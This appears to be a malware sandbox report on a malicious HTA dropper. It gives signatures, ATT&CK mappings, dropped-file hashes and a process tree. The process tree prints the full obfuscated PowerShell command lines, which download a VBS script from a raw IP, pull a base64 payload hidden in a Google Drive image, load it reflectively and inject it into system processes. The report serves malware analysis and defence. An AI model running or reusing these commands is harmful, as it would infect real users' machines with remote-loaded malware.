c1a88da841596f0f34b25bd9c04a36a2d8134bf9955b46f2185c331182d3b8eb

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-10-2024 12:37

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General

Target

greatevenevermadeforrgreatthignstogetinbacketothegreat.hta
Size

131KB
MD5

b39c3f8b9214a7a097b0e0c92d6bc193
SHA1

7b253873758021db1fa779229091683bc3b7288c
SHA256

c1a88da841596f0f34b25bd9c04a36a2d8134bf9955b46f2185c331182d3b8eb
SHA512

ea17056a19ae47f4317aad55a971015d48e4e986c6c1bfa0490afdea1045fc4655a6a049ebc0a89ce0fd92029c8dd9cfe973c2c7608c54b79e626657baaa90b7
SSDEEP

48:4vah3d7Ah23jX+Iw81OcNw811aoWeGOyMs1n0J6OpyMmRzAbNxx6TVzok1uHlhiA:4vCt73RjkajCjOQVmPizsNqZ1EjIQ

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 30 IoCs

flow	pid	Process
24	3020	poWErshElL.exe
27	4848	powershell.exe
31	4848	powershell.exe
37	4848	powershell.exe
52	2332	mshta.exe
58	2332	mshta.exe
63	2332	mshta.exe
64	2332	mshta.exe
65	2332	mshta.exe
66	2332	mshta.exe
68	2332	mshta.exe
70	2332	mshta.exe
71	2332	mshta.exe
77	2332	mshta.exe
79	2332	mshta.exe
92	2332	mshta.exe
95	2332	mshta.exe
96	2332	mshta.exe
97	2332	mshta.exe
98	2332	mshta.exe
100	2332	mshta.exe
102	2332	mshta.exe
103	2332	mshta.exe
104	2332	mshta.exe
105	2332	mshta.exe
107	2332	mshta.exe
108	2332	mshta.exe
109	2332	mshta.exe
110	2332	mshta.exe
111	2332	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
888	powershell.exe
4848	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
3020	poWErshElL.exe
1048	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	drive.google.com
27	drive.google.com

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4848 set thread context of 2884	4848	powershell.exe	107
PID 2884 set thread context of 2332	2884	aspnet_regbrowsers.exe	83
PID 2884 set thread context of 404	2884	aspnet_regbrowsers.exe	110
PID 404 set thread context of 2332	404	setupugc.exe	83
PID 404 set thread context of 4960	404	setupugc.exe	112

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setupugc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	poWErshElL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	setupugc.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	poWErshElL.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
3020	poWErshElL.exe
3020	poWErshElL.exe
1048	powershell.exe
1048	powershell.exe
888	powershell.exe
888	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
2884	aspnet_regbrowsers.exe
2884	aspnet_regbrowsers.exe
2884	aspnet_regbrowsers.exe
2884	aspnet_regbrowsers.exe
2884	aspnet_regbrowsers.exe
2884	aspnet_regbrowsers.exe
2884	aspnet_regbrowsers.exe
2884	aspnet_regbrowsers.exe
404	setupugc.exe
404	setupugc.exe
404	setupugc.exe
404	setupugc.exe
404	setupugc.exe
404	setupugc.exe
404	setupugc.exe
404	setupugc.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
2884	aspnet_regbrowsers.exe
2332	mshta.exe
2332	mshta.exe
404	setupugc.exe
404	setupugc.exe
404	setupugc.exe
404	setupugc.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3020	poWErshElL.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 2332 wrote to memory of 3020	2332	mshta.exe	85
PID 2332 wrote to memory of 3020	2332	mshta.exe	85
PID 2332 wrote to memory of 3020	2332	mshta.exe	85
PID 3020 wrote to memory of 1048	3020	poWErshElL.exe	89
PID 3020 wrote to memory of 1048	3020	poWErshElL.exe	89
PID 3020 wrote to memory of 1048	3020	poWErshElL.exe	89
PID 3020 wrote to memory of 676	3020	poWErshElL.exe	94
PID 3020 wrote to memory of 676	3020	poWErshElL.exe	94
PID 3020 wrote to memory of 676	3020	poWErshElL.exe	94
PID 676 wrote to memory of 400	676	csc.exe	95
PID 676 wrote to memory of 400	676	csc.exe	95
PID 676 wrote to memory of 400	676	csc.exe	95
PID 3020 wrote to memory of 4536	3020	poWErshElL.exe	97
PID 3020 wrote to memory of 4536	3020	poWErshElL.exe	97
PID 3020 wrote to memory of 4536	3020	poWErshElL.exe	97
PID 4536 wrote to memory of 888	4536	WScript.exe	98
PID 4536 wrote to memory of 888	4536	WScript.exe	98
PID 4536 wrote to memory of 888	4536	WScript.exe	98
PID 888 wrote to memory of 4848	888	powershell.exe	100
PID 888 wrote to memory of 4848	888	powershell.exe	100
PID 888 wrote to memory of 4848	888	powershell.exe	100
PID 4848 wrote to memory of 3932	4848	powershell.exe	103
PID 4848 wrote to memory of 3932	4848	powershell.exe	103
PID 4848 wrote to memory of 3932	4848	powershell.exe	103
PID 4848 wrote to memory of 412	4848	powershell.exe	104
PID 4848 wrote to memory of 412	4848	powershell.exe	104
PID 4848 wrote to memory of 412	4848	powershell.exe	104
PID 4848 wrote to memory of 3736	4848	powershell.exe	105
PID 4848 wrote to memory of 3736	4848	powershell.exe	105
PID 4848 wrote to memory of 3736	4848	powershell.exe	105
PID 4848 wrote to memory of 4344	4848	powershell.exe	106
PID 4848 wrote to memory of 4344	4848	powershell.exe	106
PID 4848 wrote to memory of 4344	4848	powershell.exe	106
PID 4848 wrote to memory of 2884	4848	powershell.exe	107
PID 4848 wrote to memory of 2884	4848	powershell.exe	107
PID 4848 wrote to memory of 2884	4848	powershell.exe	107
PID 4848 wrote to memory of 2884	4848	powershell.exe	107
PID 4848 wrote to memory of 2884	4848	powershell.exe	107
PID 4848 wrote to memory of 2884	4848	powershell.exe	107
PID 2332 wrote to memory of 404	2332	mshta.exe	110
PID 2332 wrote to memory of 404	2332	mshta.exe	110
PID 2332 wrote to memory of 404	2332	mshta.exe	110
PID 404 wrote to memory of 4960	404	setupugc.exe	112
PID 404 wrote to memory of 4960	404	setupugc.exe	112

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\greatevenevermadeforrgreatthignstogetinbacketothegreat.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2332
- C:\Windows\SysWOW64\WINDOWSPOWERsheLL\V1.0\poWErshElL.exe
  "C:\Windows\sYstEm32\WINDOWSPOWERsheLL\V1.0\poWErshElL.exe" "poWersheLL.exe -ex bypass -nop -W 1 -C DEvICecreDENTIalDEpLoYMEnT.eXE ; iEx($(IEX('[sYsteM.TeXt.EnCodInG]'+[cHAr]58+[char]0x3A+'utf8.geTSTring([SySTEM.CoNvert]'+[chaR]0X3a+[CHAR]0X3a+'FrombaSE64sTRING('+[CHAR]34+'JDNQWGFPICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFUmRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSTE1PTi5ETGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFhEdXd3YU1ILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicHBCayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTmFtV2pmLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUpISGlCdkpzc1gsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIndPY1JwcWtrWW8iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUU8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkM1BYYU86OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly83OS4xNDEuMTY0LjIxNC80NDUvZ3JlZW50aGluZ3N0b2JlZ3JlYXR0aGluZ3Nmb3JlbnRpcmVwdXJwb3NlZm9yZ3JlYXQudElGIiwiJGVuVjpBUFBEQVRBXGdyZWVudGhpbmdzdG9iZWdyZWF0dGhpbmdzZm9yZW50aXJlcHVycG9zZS52YlMiLDAsMCk7c3RBUnQtc0xlZXAoMyk7c1RBcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVxncmVlbnRoaW5nc3RvYmVncmVhdHRoaW5nc2ZvcmVudGlyZXB1cnBvc2UudmJTIg=='+[cHaR]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex bypass -nop -W 1 -C DEvICecreDENTIalDEpLoYMEnT.eXE
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1048
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dbgumpgb\dbgumpgb.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:676
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC63E.tmp" "c:\Users\Admin\AppData\Local\Temp\dbgumpgb\CSC8C9218FE4C942D698A8E2E78F0B62C.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:400
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\greenthingstobegreatthingsforentirepurpose.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnS0NCaW0nKydhZ2VVcmwgPSBITjVodHRwczovJysnL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0JysnPScrJ2Rvd25sb2FkJmlkPTFBSVZnSkpKdjFGNnZTNHMnKydVT3libkgtc0R2VWhCWXd1JysnciBITjU7S0MnKydCd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uJysnTmV0LldlYkNsaWVudDtLQ0JpbWFnZUJ5dGVzID0gS0NCd2ViQ2xpZW50LkRvd25sJysnb2FkRGF0YShLQ0JpbWFnZVVyJysnbCk7S0NCaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoS0NCaW1hZ2VCeXRlcyk7S0NCc3RhcnRGbGFnID0gSE41JysnPDxCQVNFNjRfU1RBUlQ+PkhONTtLQ0JlbmRGbGFnID0gSE41PDxCJysnQVNFNjRfRU5EPj5ITjU7S0NCc3RhcnRJbmRleCA9IEtDQmltYWdlVGV4dC5JbmRleE9mKEtDQnN0YXJ0RmxhZyk7S0NCZW5kSW5kZXggPSBLQ0JpbScrJ2FnZVRleHQuSW5kZXhPZihLQ0JlbmRGbGFnKTtLQ0JzdGFydEluZGV4IC1nZSAwIC1hbmQgJysnS0NCZW5kSW5kZXggLWd0IEtDQnN0YXJ0SW5kZXg7S0NCc3RhcnRJbmRleCArPSBLQ0JzdGFydEZsYWcuTGVuZ3RoO0snKydDQicrJ2Jhc2U2NExlbmd0aCA9IEtDQmVuZEluZGV4IC0gS0NCc3RhcnRJbmRleDtLQ0JiYXNlNjRDb21tYW5kJysnID0gS0NCaW1hZ2VUZXh0LlN1YnN0cmluZyhLQ0JzdGFydEluZGV4LCBLQ0JiYXNlNjRMZW5ndGgpO0tDQmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKEtDQmJhc2U2NENvbW1hbmQuVG8nKydDaGFyQXJyYXkoKSBPcHogRm9yRWFjaCcrJy1PYmplY3QgeyBLQ0JfICcrJ30pWy0xLi4tKEtDQmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07S0NCY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnInKydvbUJhc2U2NFN0cmluZyhLQ0JiYXNlNjRSZXZlJysncnNlZCk7SycrJ0NCbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKEtDQmNvJysnbW1hbmRCeXRlcyk7S0NCdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChITjVWQUlITjUpO0tDQnZhaU1ldGhvZC5JbnZva2UoS0NCbnVsbCwgQChITjV0eHQuUkZGUlNSUy81NDQvJysnNDEyLjQ2MS4xNDEuOTcvLzpwdHRoSE41LCBITjVkZXMnKydhdGl2YWRvSE41LCBITjVkZXNhdGl2YWRvSE41LCBITjVkZXNhdGl2YWRvSE41LCBITjVhc3BuZXRfcmVnYnJvd3NlcnMnKydITjUsIEhONWRlc2F0JysnaXZhZG9ITjUsIEhONWQnKydlc2F0aXZhZG9ITjUsSE4nKyc1ZGVzYXRpdmFkb0hONSxITjVkZXNhdGl2YScrJ2RvSE41LEhOJysnNWQnKydlc2F0aXZhZG8nKydITjUnKycsSE41ZGVzYXRpdmFkb0hONSxITjVkZScrJ3NhdGknKyd2YWRvSE41LEhONTFITjUsSE41ZGVzYXRpdmFkb0hONSkpJysnOycpIC1jckVwbEFjRShbQ0hhUl03MitbQ0hhUl03OCtbQ0hhUl01MyksW0NIYVJdMzkgIC1SRXBMYWNlICAnT3B6JyxbQ0hhUl0xMjQgIC1SRXBMYWNlICAoW0NIYVJdNzUrW0NIYVJdNjcrW0NIYVJdNjYpLFtDSGFSXTM2KXwgJiggJFBzaE9tZVsyMV0rJFBzSG9tRVszNF0rJ3gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:888
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('KCBim'+'ageUrl = HN5https:/'+'/drive.google.com/uc?export'+'='+'download&id=1AIVgJJJv1F6vS4s'+'UOybnH-sDvUhBYwu'+'r HN5;KC'+'BwebClient = New-Object System.'+'Net.WebClient;KCBimageBytes = KCBwebClient.Downl'+'oadData(KCBimageUr'+'l);KCBimageText = [System.Text.Encoding]::UTF8.GetString(KCBimageBytes);KCBstartFlag = HN5'+'<<BASE64_START>>HN5;KCBendFlag = HN5<<B'+'ASE64_END>>HN5;KCBstartIndex = KCBimageText.IndexOf(KCBstartFlag);KCBendIndex = KCBim'+'ageText.IndexOf(KCBendFlag);KCBstartIndex -ge 0 -and '+'KCBendIndex -gt KCBstartIndex;KCBstartIndex += KCBstartFlag.Length;K'+'CB'+'base64Length = KCBendIndex - KCBstartIndex;KCBbase64Command'+' = KCBimageText.Substring(KCBstartIndex, KCBbase64Length);KCBbase64Reversed = -join (KCBbase64Command.To'+'CharArray() Opz ForEach'+'-Object { KCB_ '+'})[-1..-(KCBbase64Command.Length)];KCBcommandBytes = [System.Convert]::Fr'+'omBase64String(KCBbase64Reve'+'rsed);K'+'CBloadedAssembly = [System.Reflection.Assembly]::Load(KCBco'+'mmandBytes);KCBvaiMethod = [dnlib.IO.Home].GetMethod(HN5VAIHN5);KCBvaiMethod.Invoke(KCBnull, @(HN5txt.RFFRSRS/544/'+'412.461.141.97//:ptthHN5, HN5des'+'ativadoHN5, HN5desativadoHN5, HN5desativadoHN5, HN5aspnet_regbrowsers'+'HN5, HN5desat'+'ivadoHN5, HN5d'+'esativadoHN5,HN'+'5desativadoHN5,HN5desativa'+'doHN5,HN'+'5d'+'esativado'+'HN5'+',HN5desativadoHN5,HN5de'+'sati'+'vadoHN5,HN51HN5,HN5desativadoHN5))'+';') -crEplAcE([CHaR]72+[CHaR]78+[CHaR]53),[CHaR]39 -REpLace 'Opz',[CHaR]124 -REpLace ([CHaR]75+[CHaR]67+[CHaR]66),[CHaR]36)| &( $PshOme[21]+$PsHomE[34]+'x')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4848
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:3932
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:412
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:3736
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:4344
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:2884
- C:\Windows\SysWOW64\setupugc.exe
  "C:\Windows\SysWOW64\setupugc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:4960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\poWErshElL.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
6f22ce457622e0f30d6b54fd42c0700e

SHA1
1095fdb63f5a82c2042b424e2bc3b9a01c63e29a

SHA256
fcb7735ecd0817cbc3c86db07b5bee1e77679f2a76a3d886f77ae88db56a4381

SHA512
45b3c29d3d71520a87677bcfe75c3a00b338f96a3b94af9b191cee72147c679bbe01d52017e2d5067a639422cec067ee193f3f23cc55dbd10759abc5b573a714

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
68a54eeb0077a69bf71e0bb1444d07fe

SHA1
9ed2da8dfa6f0931e42143af069ba2ac9be22808

SHA256
bae30626b7203229cd215a21cd2ca88ee9c2ee1677be9dc40b6076f6f460f44f

SHA512
fdb1a320c3dc8613d3dfba091f2afbb2b49b2a5fb6c65ba330e1c327e6530ea586960f0fe99280ee49b7077773053a49a9671f443ed8e79c5a7e44fd740b2c21

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC63E.tmp

Filesize
1KB

MD5
32114e12f8905abca69bec20bffbe89b

SHA1
6709fc0467f107a8bc857cc4d7c48ebd8a9e52ea

SHA256
9c3db2213fe9ef87c6424aa11d3c4eaf7a9a6f011352b3ffed0f93c91f622232

SHA512
888292b57cbe3a848f8d290d6c3fbb2abb17f4895327e2c2b84be7da7a83f373ab9e45b73793b2e297cc95df52bbcc4b8ac7b88eb7a3249d050f794757c59ec6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ew1v44zf.2sy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dbgumpgb\dbgumpgb.dll

Filesize
3KB

MD5
b752f6f1ab720fdc9a3aa237e45d3e81

SHA1
a5fe8d5d22ce7e8cc088d9019452b427b558c749

SHA256
55d0ffc718e26fa2ab6a43f1de8e1a4a9342733fedcc743349e7e843f715d30b

SHA512
2a85b39115b4548827f807c6e87671c0f0c75d141dc07873509a670455fcc7f445bbb55ad5fc4bce4f89a033f7a13d66259a17bd78cb396ea8652749f2dd2d7a

Download Submit
C:\Users\Admin\AppData\Roaming\greenthingstobegreatthingsforentirepurpose.vbS

Filesize
137KB

MD5
2aa5b4a9613f66275a8813688d89b143

SHA1
5298dce042df152dcf126dbdbf987549dd8d49c8

SHA256
0fd97f432c3ad570e73d18bcacdf7fabf151ca1f96b72da7f30921f2c3e98df4

SHA512
1769a546d97b4cf572378dd8473ac9cedbc96cbb03a6c4dc4d7edf376430fa887e384ef60da77a8f0ff9c0c433ac445acb7f6b963009c2801eb8a3c4df69e6e1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dbgumpgb\CSC8C9218FE4C942D698A8E2E78F0B62C.TMP

Filesize
652B

MD5
f4f7a0d4d1ed4a53fe75da5628aa8fea

SHA1
ca23fc63498ea2d55ebddd81a9346396fc841a38

SHA256
3910fcf7d4706bd6a84935f70008e8fef9ff242cb43e89747563d11cfe106b47

SHA512
6b8965b5e711b50680b60c4b88353e95a65efbc755db229b67c01b92d2fb23fa1975644ec693fdea1338d05a290f8fcb095055b05c1be3f54c6d357793ab597d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dbgumpgb\dbgumpgb.0.cs

Filesize
468B

MD5
0f7f0249df5e809b57ba67ada7205248

SHA1
cfe8697900ca60bedef3185a1220f102feac901b

SHA256
5e35059c497df270a251877e527d0ac3d9a5d1c3e4c779cb407a85ae5ee643e2

SHA512
5b4fc02976ba89fbd8ba05fb016bd79694e123d1498ae1a783c7831e33c39dbff81a5302db10f45f160ec73b3a4d82ad0dc869626ab49f5f0d95c3d5c4fbee38

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dbgumpgb\dbgumpgb.cmdline

Filesize
369B

MD5
8732673e5a07cd40d028f630f5326618

SHA1
9896d39f312d17c184d889e16f7e2029bd370292

SHA256
f182122624a559c0bf08026d663f3df53011fbe0f4e1d0b60ee8c7c4f7f38236

SHA512
57c452035ef0c5c909ee00735f534207e2453fa2dd65de336c6e389c1747857efd406ffb65f26a6513809724f762df28f12f37c6b74e8b91ed7ddc32ea556ebe

Download Submit
memory/404-106-0x0000000000FA0000-0x0000000000FE3000-memory.dmp

Filesize
268KB

Download
memory/404-107-0x0000000000FA0000-0x0000000000FE3000-memory.dmp

Filesize
268KB

Download
memory/888-89-0x0000000006170000-0x00000000064C4000-memory.dmp

Filesize
3.3MB

Download
memory/1048-48-0x0000000007680000-0x0000000007694000-memory.dmp

Filesize
80KB

Download
memory/1048-46-0x0000000007640000-0x0000000007651000-memory.dmp

Filesize
68KB

Download
memory/1048-41-0x0000000007320000-0x00000000073C3000-memory.dmp

Filesize
652KB

Download
memory/1048-42-0x0000000007A80000-0x00000000080FA000-memory.dmp

Filesize
6.5MB

Download
memory/1048-43-0x0000000007440000-0x000000000745A000-memory.dmp

Filesize
104KB

Download
memory/1048-44-0x00000000074B0000-0x00000000074BA000-memory.dmp

Filesize
40KB

Download
memory/1048-45-0x00000000076C0000-0x0000000007756000-memory.dmp

Filesize
600KB

Download
memory/1048-40-0x00000000066A0000-0x00000000066BE000-memory.dmp

Filesize
120KB

Download
memory/1048-47-0x0000000007670000-0x000000000767E000-memory.dmp

Filesize
56KB

Download
memory/1048-29-0x00000000070E0000-0x0000000007112000-memory.dmp

Filesize
200KB

Download
memory/1048-49-0x0000000007780000-0x000000000779A000-memory.dmp

Filesize
104KB

Download
memory/1048-50-0x0000000007760000-0x0000000007768000-memory.dmp

Filesize
32KB

Download
memory/1048-30-0x000000006D600000-0x000000006D64C000-memory.dmp

Filesize
304KB

Download
memory/2332-108-0x0000000009830000-0x0000000009966000-memory.dmp

Filesize
1.2MB

Download
memory/2884-102-0x0000000000400000-0x0000000000447000-memory.dmp

